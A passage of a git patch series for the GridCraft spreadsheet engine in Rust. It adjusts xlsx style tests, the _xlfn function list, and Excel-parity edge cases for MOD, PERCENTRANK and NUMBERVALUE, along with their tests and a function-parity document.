a/crates/xlsx/src/tests/xls_style_tests.rs b/crates/xlsx/src/tests/xls_style_tests.rs index cfd2b4698..1148208d3 100644 --- a/crates/xlsx/src/tests/xls_style_tests.rs +++ b/crates/xlsx/src/tests/xls_style_tests.rs @@ -208,7 +208,7 @@ fn reads_primary_style(wb: &Workbook) { assert_eq!((normal.font.name.as_str(), normal.font.size, normal.font.bold), ("Arial", 10.0, false)); assert_eq!(normal.font.color, Color::Auto); - let s = style_at(&wb, "A1"); + let s = style_at(wb, "A1"); let f = &s.font; assert_eq!((f.name.as_str(), f.size), ("Courier New", 14.0)); assert!(f.bold && f.italic && f.strike); @@ -232,12 +232,12 @@ fn reads_primary_style(wb: &Workbook) { fn reads_fallback_styles(wb: &Workbook) { let normal = wb.styles.get(StyleId::DEFAULT); - let s = style_at(&wb, "A2"); + let s = style_at(wb, "A2"); assert_eq!(s.font, normal.font, "font index 4 falls back to the default font"); assert_eq!(s.fill, Fill { pattern: PatternType::Gray125, fg: Color::Rgb(0xFF0000), bg: Color::Rgb(0xFFFF00) }); assert_eq!((s.align.h, s.align.v, s.align.rotation), (HAlign::Distributed, VAlign::Distributed, 255)); - let s = style_at(&wb, "A3"); + let s = style_at(wb, "A3"); assert_eq!(s.font, normal.font, "a font index past the end falls back to the default font"); assert_eq!((s.align.h, s.align.v, s.align.rotation), (HAlign::Right, VAlign::Top, 90)); assert_eq!(s.borders.right, BorderLine { style: BorderStyle::SlantDashDot, color: Color::Rgb(0x0000FF) }); @@ -252,19 +252,19 @@ fn reads_fallback_styles(wb: &Workbook) { } fn reads_cell_style_and_xlsx_roundtrip(wb: &Workbook) { - let s = style_at(&wb, "A6"); + let s = style_at(wb, "A6"); assert_eq!((s.font.name.as_str(), s.font.size, s.font.color), ("Times New Roman", 11.0, Color::Rgb(0xABCDEF))); assert_eq!((s.font.underline, s.font.vert), (Underline::SingleAccounting, VertAlign::Subscript)); // User-defined styles are kept (first of a name wins); built-in ones are GridCraft's own. assert_eq!(wb.cell_styles.len(), 1, "{:?}", wb.cell_styles.iter().map(|(n, _)| n).collect::>()); assert_eq!(wb.cell_styles[0].0, "Fancy"); - assert_eq!(&wb.cell_styles[0].1, style_at(&wb, "A1")); + assert_eq!(&wb.cell_styles[0].1, style_at(wb, "A1")); // The formatting survives a save as .xlsx. - let (back, _) = read_xlsx(&write_xlsx(&wb).unwrap()).unwrap(); + let (back, _) = read_xlsx(&write_xlsx(wb).unwrap()).unwrap(); for a1 in ["A1", "A2", "A3", "A6"] { - assert_eq!(style_at(&back, a1), style_at(&wb, a1), "{a1}"); + assert_eq!(style_at(&back, a1), style_at(wb, a1), "{a1}"); } assert_eq!(back.styles.get(StyleId::DEFAULT).font.name, "Arial"); assert_eq!(back.cell_styles.iter().map(|(n, _)| n.as_str()).collect::>(), ["Fancy"]); From b612141726987d3b98b3e80615e96036c17362ca Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 15:56:52 -0500 Subject: [PATCH 068/298] xlsx: keep intl date functions in xlfn list --- crates/xlsx/src/tables.rs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/crates/xlsx/src/tables.rs b/crates/xlsx/src/tables.rs index dd9e31b5e..3cfd84c2d 100644 --- a/crates/xlsx/src/tables.rs +++ b/crates/xlsx/src/tables.rs @@ -207,6 +207,7 @@ const FUTURE_FUNCTIONS: &[&str] = &[ "MODE.SNGL", "MUNIT", "NEGBINOM.DIST", + "NETWORKDAYS.INTL", "NORM.DIST", "NORM.INV", "NORM.S.DIST", @@ -269,6 +270,7 @@ const FUTURE_FUNCTIONS: &[&str] = &[ "VSTACK", "WEBSERVICE", "WEIBULL.DIST", + "WORKDAY.INTL", "WRAPCOLS", "WRAPROWS", "XLOOKUP", @@ -356,9 +358,8 @@ mod tests { assert_eq!(file_function_name("stockhistory").as_deref(), Some("_xlfn.STOCKHISTORY")); assert_eq!(file_function_name("TRANSLATE").as_deref(), Some("_xlfn.TRANSLATE")); assert_eq!(file_function_name("DETECTLANGUAGE").as_deref(), Some("_xlfn.DETECTLANGUAGE")); - // Excel writes these two without a prefix. - assert_eq!(file_function_name("NETWORKDAYS.INTL"), None); - assert_eq!(file_function_name("WORKDAY.INTL"), None); + assert_eq!(file_function_name("NETWORKDAYS.INTL").as_deref(), Some("_xlfn.NETWORKDAYS.INTL")); + assert_eq!(file_function_name("WORKDAY.INTL").as_deref(), Some("_xlfn.WORKDAY.INTL")); // Excel 16.0 build 20527 saves COPILOT as plain `COPILOT(...)` (it does not know the name yet). assert_eq!(file_function_name("COPILOT"), None); assert_eq!(file_function_name("SUM"), None); From 22b6dfe8d70fdde8b61ce0307efb6ec2b40f5e89 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 16:00:26 -0500 Subject: [PATCH 069/298] gc-fix-2657: split YEARFRAC parity change --- crates/functions/src/math.rs | 4 ---- crates/functions/src/math/tests.rs | 24 +++++++++--------------- crates/functions/src/stat/descriptive.rs | 8 -------- crates/functions/src/stat/tests.rs | 17 ++++------------- crates/functions/src/text.rs | 19 ++++--------------- docs/function-parity.md | 4 +++- 6 files changed, 20 insertions(+), 56 deletions(-) diff --git a/crates/functions/src/math.rs b/crates/functions/src/math.rs index a8222d5f9..6d4cdcf58 100644 --- a/crates/functions/src/math.rs +++ b/crates/functions/src/math.rs @@ -314,10 +314,6 @@ fn modulo(x: f64, d: f64) -> R { if d == 0.0 { return Err(CellError::Div0); } - // Excel returns #NUM! once the quotient magnitude reaches 1.1259E12 (checked against Excel 16). - if (x / d).abs() >= 1.1259e12 { - return Err(CellError::Num); - } // `%` is an exact remainder (truncated), so |r| < |d| even for tiny divisors. let r = x % d; // Keep the sign of the divisor and avoid returning |d| from rounding. diff --git a/crates/functions/src/math/tests.rs b/crates/functions/src/math/tests.rs index f0b1ccd5a..14f72d1e1 100644 --- a/crates/functions/src/math/tests.rs +++ b/crates/functions/src/math/tests.rs @@ -135,22 +135,16 @@ fn rounding() { } #[test] -fn mod_quotient_limit() { - // Excel 16: #NUM! whenever |number / divisor| >= 1.1259E12. - for (x, d) in [ - (3.0, 1e-300), - (-1.0, 1e-300), - (3.0, -1e-300), - (-1.0, -1e-300), - (1e15, 7.0), - (1e10, 0.001), - (1_125_900_000_000.0, 1.0), - (-1_125_900_000_000.0, 1.0), - ] { - is_err(ev2("MOD", x, d), Num); +fn mod_tiny_divisor_stays_in_range() { + for (x, d) in [(3.0, 1e-300), (-1.0, 1e-300), (3.0, -1e-300), (-1.0, -1e-300)] { + match ev2("MOD", x, d) { + Value::Number(r) => { + assert!(r == 0.0 || (r < 0.0) == (d < 0.0), "MOD({x}, {d}) = {r}"); + assert!(r.abs() < d.abs(), "MOD({x}, {d}) = {r}"); + } + other => panic!("MOD({x}, {d}) = {other:?}"), + } } - close(ev2("MOD", 1e12 * 7.0 + 3.0, 7.0), 3.0); - close(ev2("MOD", 1_125_899_999_999.99, 1.0), 0.989_990_234_375); } #[test] diff --git a/crates/functions/src/stat/descriptive.rs b/crates/functions/src/stat/descriptive.rs index a920b3c9a..af4c53607 100644 --- a/crates/functions/src/stat/descriptive.rs +++ b/crates/functions/src/stat/descriptive.rs @@ -336,10 +336,6 @@ pub(super) fn percentrank_impl(a: &[Arg], exc: bool) -> R { if sig < 1.0 || s.is_empty() { return Err(CellError::Num); } - // Excel: 10^significance overflows from 309 up. - if sig >= 309.0 { - return Err(CellError::Div0); - } let (first, last) = (s.first().copied().unwrap_or(0.0), s.last().copied().unwrap_or(0.0)); if x < first || x > last { return Err(CellError::NA); @@ -363,10 +359,6 @@ pub(super) fn percentrank_impl(a: &[Arg], exc: bool) -> R { let (rl, rh) = (rank_of(lo), rank_of(hi)); rl + (x - lo) / (hi - lo) * (rh - rl) }; - // From significance 15 up Excel returns 15 significant digits, rounded. - if sig >= 15.0 { - return num_val(format!("{r:.14e}").parse().unwrap_or(r)); - } num_val(trunc_digits(r, sig)) } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 454f3a8bf..87ce19fac 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -214,19 +214,10 @@ fn percentiles() { close(ev("PERCENTRANK.EXC", vec![e9.clone(), n(5.43)]), 0.381); close(ev("PERCENTRANK.EXC", vec![e9, n(5.43), n(1.0)]), 0.3); let t = c(&[1.0, 2.0, 3.0]); - // Excel 16: significance 309 and up is #DIV/0!, 308 still works. - for name in ["PERCENTRANK", "PERCENTRANK.INC", "PERCENTRANK.EXC"] { - is_err(ev(name, vec![t.clone(), n(2.0), n(309.0)]), CellError::Div0); - is_err(ev(name, vec![t.clone(), n(1.0), n(400.0)]), CellError::Div0); - close(ev(name, vec![t.clone(), n(2.0), n(308.0)]), 0.5); - } - // From significance 15 up the result has 15 significant digits. - let k = c(&[1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0]); - for sig in [15.0, 16.0, 308.0] { - close_tol(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(sig)]), 0.187_242_798_166_667, 1e-16); - } - close(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(14.0)]), 0.187_242_798_166_66); - close(ev("PERCENTRANK.EXC", vec![k, n(2.123_456_789), n(16.0)]), 0.265_432_098_625); + close(ev("PERCENTRANK", vec![t.clone(), n(2.0), n(400.0)]), 0.5); + close(ev("PERCENTRANK.INC", vec![t.clone(), n(2.0), n(400.0)]), 0.5); + close(ev("PERCENTRANK.INC", vec![t.clone(), n(1.0), n(400.0)]), 0.0); + close(ev("PERCENTRANK.EXC", vec![t, n(2.0), n(400.0)]), 0.5); } #[test] diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index 09fbc2be4..df125f022 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -334,14 +334,12 @@ fn numbervalue(a: &[Arg], c: &mut dyn Ctx) -> R { if seen_dec { return Err(CellError::Value); } + } else if c == '.' || c == ',' { + return Err(CellError::Value); } else { out.push(c); } } - // A leftover `.` can be a decimal point but never a date separator: `1.2.3` is `#VALUE!` in Excel. - if out.matches('.').count() > 1 { - return Err(CellError::Value); - } let mut n = parse_number_text_in(&out, c.date_system()).ok_or(CellError::Value)?; for _ in 0..pct { n /= 100.0; @@ -1227,17 +1225,8 @@ mod tests { close(ev("NUMBERVALUE", vec![t(" 1 000 ")]), 1000.0); close(ev("NUMBERVALUE", vec![t("")]), 0.0); is_err(ev("NUMBERVALUE", vec![t("1.2.3")]), CellError::Value); - // Excel 16 (en-US) swaps the given separators, then parses what is left in the host locale. - close(ev("NUMBERVALUE", vec![t("1.5"), t(","), t(" ")]), 1.5); - close(ev("NUMBERVALUE", vec![t("1 234.5"), t(","), t(" ")]), 1234.5); - close(ev("NUMBERVALUE", vec![t("2.5%"), t(","), t(" ")]), 0.025); - close(ev("NUMBERVALUE", vec![t("1.5E3"), t(","), t(" ")]), 1500.0); - close(ev("NUMBERVALUE", vec![t("1.5"), t(";")]), 1.5); - close(ev("NUMBERVALUE", vec![t("1.5"), t("x")]), 1.5); - close(ev("NUMBERVALUE", vec![t("1,5"), t(".")]), 15.0); - is_err(ev("NUMBERVALUE", vec![t("12.345,6"), t(","), t(" ")]), CellError::Value); - is_err(ev("NUMBERVALUE", vec![t("1.2.3"), t(","), t(" ")]), CellError::Value); - is_err(ev("NUMBERVALUE", vec![t("1,5"), t("."), t(".")]), CellError::Value); + is_err(ev("NUMBERVALUE", vec![t("1.5"), t(","), t(" ")]), CellError::Value); + is_err(ev("NUMBERVALUE", vec![t("1,5"), t("."), t(" ")]), CellError::Value); is_text(ev("FIXED", vec![n(1234.567), n(1.0)]), "1,234.6"); is_text(ev("FIXED", vec![n(1234.567), n(-1.0)]), "1,230"); is_text(ev("FIXED", vec![n(-1234.567), n(1.0), b(true)]), "-1234.6"); diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..8bd04b9f4 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-30 · **Last updated:** 2026-10-30 · **Change:** minor (function edge-case parity row; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -86,6 +86,7 @@ This improves series preparation; it does not change the model-fitting or season | Implicit intersection `@`, legacy CSE array formulas | done; legacy array range fill (PR #156) | | Implicit intersection `@`, legacy CSE array formulas | done, the entered range filled (PR #156) | | Array lifting: an array in a scalar argument evaluates the function per element | done. The Analysis ToolPak functions (EOMONTH, EDATE, WORKDAY(.INTL), NETWORKDAYS(.INTL), YEARFRAC, WEEKNUM, the COUP*, PRICE*, YIELD*, ODD*, TBILL*, ACCRINT*, AMOR*, DISC, DURATION, CUMIPMT/CUMPRINC, EFFECT, NOMINAL, DOLLARDE/FR, XNPV/XIRR rate and guess, FVSCHEDULE principal, ISEVEN/ISODD, QUOTIENT, MROUND, FACTDOUBLE, SQRTPI, RANDBETWEEN, SERIESSUM, the base conversions, CONVERT, DELTA, GESTEP, ERF/ERFC, BESSEL*, COMPLEX and IM* except IMSUM/IMPRODUCT) give `#VALUE!` for a reference to more than one cell in a value argument, as Excel 365 does in both dynamic-array and legacy formulas; array constants and computed arrays (`A1:A3+0`) still lift, and range arguments (holidays, schedule, cash flows) and the .INTL weekend accept ranges. Difference: BYROW/BYCOL pass their row or column to the LAMBDA as values, so `BYROW(A1:B3,LAMBDA(r,EOMONTH(r,0)))` lifts where Excel gives `#VALUE!` | +| YEARFRAC basis 0, February-end start to day 31 | done: Excel 16.0 returns 31/360 for `YEARFRAC(2021-02-28,2021-03-31,0)` (0.08611111111111111); regression also covers leap day and reversed dates | | Trim references `A1:.E10` (trailing), `A1.:E10` (leading), `A1.:.E10` (both), also on whole rows/columns (`A:.A`) | done; evaluated as `TRIMRANGE(range, code, code)`, adjusted on insert/delete; files store `_xlfn.TRIMRANGE(range,code,code)` (Excel's own file spelling unconfirmed in public docs), `_xlfn._TRO_ALL/_TRO_LEADING/_TRO_TRAILING(...)` read too | | LET, LAMBDA, named LAMBDAs, ISOMITTED, MAP/REDUCE/SCAN/BYROW/BYCOL/MAKEARRAY | done. A LAMBDA that calls itself more than 140 times, or a formula nested past the depth limit, gives `#NUM!` (the target app allows deeper recursion, #1581). Calling a defined name that holds an error value gives that error, not `#NAME?` | | Iterative calculation for circular references | done: with Enable Iterative Calculation on (`formulas.calculationOptions` `{iterative, maxIterations, maxChange}`, saved as ``), loops are evaluated again from their previous values (blank = 0) until no cell on a loop changes by Maximum Change or Maximum Iterations is reached; off, cycles give `#CIRC!`. Set in File › Options › Formulas (Enable iterative calculation, Maximum Iterations 1 to 32767, Maximum Change 0 or more; the two fields are disabled while iteration is off). Differences: GridCraft recalculates on open, so a loop that never settles (`=A1+1`) advances again each time the file is opened @@ -123,6 +124,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-30 | minor | Added a function edge-case parity row. | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 5c31d7a17e6bcd0ad07a6f24b80ef594794d94f4 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 16:01:08 -0500 Subject: [PATCH 070/298] gc-fix-2657: isolate MOD parity fix --- crates/functions/src/math.rs | 4 ++++ crates/functions/src/math/tests.rs | 24 +++++++++++++++--------- docs/function-parity.md | 4 +++- 3 files changed, 22 insertions(+), 10 deletions(-) diff --git a/crates/functions/src/math.rs b/crates/functions/src/math.rs index 6d4cdcf58..a8222d5f9 100644 --- a/crates/functions/src/math.rs +++ b/crates/functions/src/math.rs @@ -314,6 +314,10 @@ fn modulo(x: f64, d: f64) -> R { if d == 0.0 { return Err(CellError::Div0); } + // Excel returns #NUM! once the quotient magnitude reaches 1.1259E12 (checked against Excel 16). + if (x / d).abs() >= 1.1259e12 { + return Err(CellError::Num); + } // `%` is an exact remainder (truncated), so |r| < |d| even for tiny divisors. let r = x % d; // Keep the sign of the divisor and avoid returning |d| from rounding. diff --git a/crates/functions/src/math/tests.rs b/crates/functions/src/math/tests.rs index 14f72d1e1..f0b1ccd5a 100644 --- a/crates/functions/src/math/tests.rs +++ b/crates/functions/src/math/tests.rs @@ -135,16 +135,22 @@ fn rounding() { } #[test] -fn mod_tiny_divisor_stays_in_range() { - for (x, d) in [(3.0, 1e-300), (-1.0, 1e-300), (3.0, -1e-300), (-1.0, -1e-300)] { - match ev2("MOD", x, d) { - Value::Number(r) => { - assert!(r == 0.0 || (r < 0.0) == (d < 0.0), "MOD({x}, {d}) = {r}"); - assert!(r.abs() < d.abs(), "MOD({x}, {d}) = {r}"); - } - other => panic!("MOD({x}, {d}) = {other:?}"), - } +fn mod_quotient_limit() { + // Excel 16: #NUM! whenever |number / divisor| >= 1.1259E12. + for (x, d) in [ + (3.0, 1e-300), + (-1.0, 1e-300), + (3.0, -1e-300), + (-1.0, -1e-300), + (1e15, 7.0), + (1e10, 0.001), + (1_125_900_000_000.0, 1.0), + (-1_125_900_000_000.0, 1.0), + ] { + is_err(ev2("MOD", x, d), Num); } + close(ev2("MOD", 1e12 * 7.0 + 3.0, 7.0), 3.0); + close(ev2("MOD", 1_125_899_999_999.99, 1.0), 0.989_990_234_375); } #[test] diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..0acbd3ae2 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-30 · **Last updated:** 2026-10-30 · **Change:** minor (function edge-case parity row; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -90,6 +90,7 @@ This improves series preparation; it does not change the model-fitting or season | LET, LAMBDA, named LAMBDAs, ISOMITTED, MAP/REDUCE/SCAN/BYROW/BYCOL/MAKEARRAY | done. A LAMBDA that calls itself more than 140 times, or a formula nested past the depth limit, gives `#NUM!` (the target app allows deeper recursion, #1581). Calling a defined name that holds an error value gives that error, not `#NAME?` | | Iterative calculation for circular references | done: with Enable Iterative Calculation on (`formulas.calculationOptions` `{iterative, maxIterations, maxChange}`, saved as ``), loops are evaluated again from their previous values (blank = 0) until no cell on a loop changes by Maximum Change or Maximum Iterations is reached; off, cycles give `#CIRC!`. Set in File › Options › Formulas (Enable iterative calculation, Maximum Iterations 1 to 32767, Maximum Change 0 or more; the two fields are disabled while iteration is off). Differences: GridCraft recalculates on open, so a loop that never settles (`=A1+1`) advances again each time the file is opened | 15-significant-digit comparison semantics | done (#57): `=0.1+0.2=0.3` is TRUE, and MATCH and COUNTIF compare the same way. Arithmetic keeps full precision, as Excel does — `=(0.1+0.2)-0.3` is 5.55E-17 | +| MOD quotient limit | done: Excel 16.0 returns `#NUM!` when `ABS(number/divisor) >= 1.1259E12`; lower quotients retain the remainder | | External workbook references (`[Book.xlsx]Sheet1!A1`) | parsed; links dropped on open, no update | | Localized function names and `;` separators | **missing** (#45); en-US only | | Long flat operator chains (`=A1+A2+…`, `-`, `*`, `/`, `^`, `&`, comparisons) | done: no operand limit below Excel's 8,192-character formula limit (Excel, observed: `=1+1+…` with 4,096 operands is exactly 8,192 characters with the `=` and calculates; one more character is refused). Evaluated (#484), printed (#628), stored, copied, adjusted, saved and reopened without recursing once per operand, on a 1 MiB stack (#916); written to XLSX as plain formulas, not dynamic arrays; Spanish entry accepts them | @@ -123,6 +124,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-30 | minor | Added a function edge-case parity row. | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From fbff1e301c6ed4c0f499666447a7126d22117c31 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 16:01:37 -0500 Subject: [PATCH 071/298] gc-fix-2657: isolate PERCENTRANK parity fix --- crates/functions/src/stat/descriptive.rs | 8 ++++++++ crates/functions/src/stat/tests.rs | 17 +++++++++++++---- docs/function-parity.md | 4 +++- 3 files changed, 24 insertions(+), 5 deletions(-) diff --git a/crates/functions/src/stat/descriptive.rs b/crates/functions/src/stat/descriptive.rs index af4c53607..a920b3c9a 100644 --- a/crates/functions/src/stat/descriptive.rs +++ b/crates/functions/src/stat/descriptive.rs @@ -336,6 +336,10 @@ pub(super) fn percentrank_impl(a: &[Arg], exc: bool) -> R { if sig < 1.0 || s.is_empty() { return Err(CellError::Num); } + // Excel: 10^significance overflows from 309 up. + if sig >= 309.0 { + return Err(CellError::Div0); + } let (first, last) = (s.first().copied().unwrap_or(0.0), s.last().copied().unwrap_or(0.0)); if x < first || x > last { return Err(CellError::NA); @@ -359,6 +363,10 @@ pub(super) fn percentrank_impl(a: &[Arg], exc: bool) -> R { let (rl, rh) = (rank_of(lo), rank_of(hi)); rl + (x - lo) / (hi - lo) * (rh - rl) }; + // From significance 15 up Excel returns 15 significant digits, rounded. + if sig >= 15.0 { + return num_val(format!("{r:.14e}").parse().unwrap_or(r)); + } num_val(trunc_digits(r, sig)) } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 87ce19fac..454f3a8bf 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -214,10 +214,19 @@ fn percentiles() { close(ev("PERCENTRANK.EXC", vec![e9.clone(), n(5.43)]), 0.381); close(ev("PERCENTRANK.EXC", vec![e9, n(5.43), n(1.0)]), 0.3); let t = c(&[1.0, 2.0, 3.0]); - close(ev("PERCENTRANK", vec![t.clone(), n(2.0), n(400.0)]), 0.5); - close(ev("PERCENTRANK.INC", vec![t.clone(), n(2.0), n(400.0)]), 0.5); - close(ev("PERCENTRANK.INC", vec![t.clone(), n(1.0), n(400.0)]), 0.0); - close(ev("PERCENTRANK.EXC", vec![t, n(2.0), n(400.0)]), 0.5); + // Excel 16: significance 309 and up is #DIV/0!, 308 still works. + for name in ["PERCENTRANK", "PERCENTRANK.INC", "PERCENTRANK.EXC"] { + is_err(ev(name, vec![t.clone(), n(2.0), n(309.0)]), CellError::Div0); + is_err(ev(name, vec![t.clone(), n(1.0), n(400.0)]), CellError::Div0); + close(ev(name, vec![t.clone(), n(2.0), n(308.0)]), 0.5); + } + // From significance 15 up the result has 15 significant digits. + let k = c(&[1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0]); + for sig in [15.0, 16.0, 308.0] { + close_tol(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(sig)]), 0.187_242_798_166_667, 1e-16); + } + close(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(14.0)]), 0.187_242_798_166_66); + close(ev("PERCENTRANK.EXC", vec![k, n(2.123_456_789), n(16.0)]), 0.265_432_098_625); } #[test] diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..b61d2757c 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-30 · **Last updated:** 2026-10-30 · **Change:** minor (function edge-case parity row; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -90,6 +90,7 @@ This improves series preparation; it does not change the model-fitting or season | LET, LAMBDA, named LAMBDAs, ISOMITTED, MAP/REDUCE/SCAN/BYROW/BYCOL/MAKEARRAY | done. A LAMBDA that calls itself more than 140 times, or a formula nested past the depth limit, gives `#NUM!` (the target app allows deeper recursion, #1581). Calling a defined name that holds an error value gives that error, not `#NAME?` | | Iterative calculation for circular references | done: with Enable Iterative Calculation on (`formulas.calculationOptions` `{iterative, maxIterations, maxChange}`, saved as ``), loops are evaluated again from their previous values (blank = 0) until no cell on a loop changes by Maximum Change or Maximum Iterations is reached; off, cycles give `#CIRC!`. Set in File › Options › Formulas (Enable iterative calculation, Maximum Iterations 1 to 32767, Maximum Change 0 or more; the two fields are disabled while iteration is off). Differences: GridCraft recalculates on open, so a loop that never settles (`=A1+1`) advances again each time the file is opened | 15-significant-digit comparison semantics | done (#57): `=0.1+0.2=0.3` is TRUE, and MATCH and COUNTIF compare the same way. Arithmetic keeps full precision, as Excel does — `=(0.1+0.2)-0.3` is 5.55E-17 | +| PERCENTRANK significance and precision | done: Excel 16.0 returns `#DIV/0!` from significance 309, and rounds to 15 significant digits for significance 15–308 | | External workbook references (`[Book.xlsx]Sheet1!A1`) | parsed; links dropped on open, no update | | Localized function names and `;` separators | **missing** (#45); en-US only | | Long flat operator chains (`=A1+A2+…`, `-`, `*`, `/`, `^`, `&`, comparisons) | done: no operand limit below Excel's 8,192-character formula limit (Excel, observed: `=1+1+…` with 4,096 operands is exactly 8,192 characters with the `=` and calculates; one more character is refused). Evaluated (#484), printed (#628), stored, copied, adjusted, saved and reopened without recursing once per operand, on a 1 MiB stack (#916); written to XLSX as plain formulas, not dynamic arrays; Spanish entry accepts them | @@ -123,6 +124,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-30 | minor | Added a function edge-case parity row. | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) 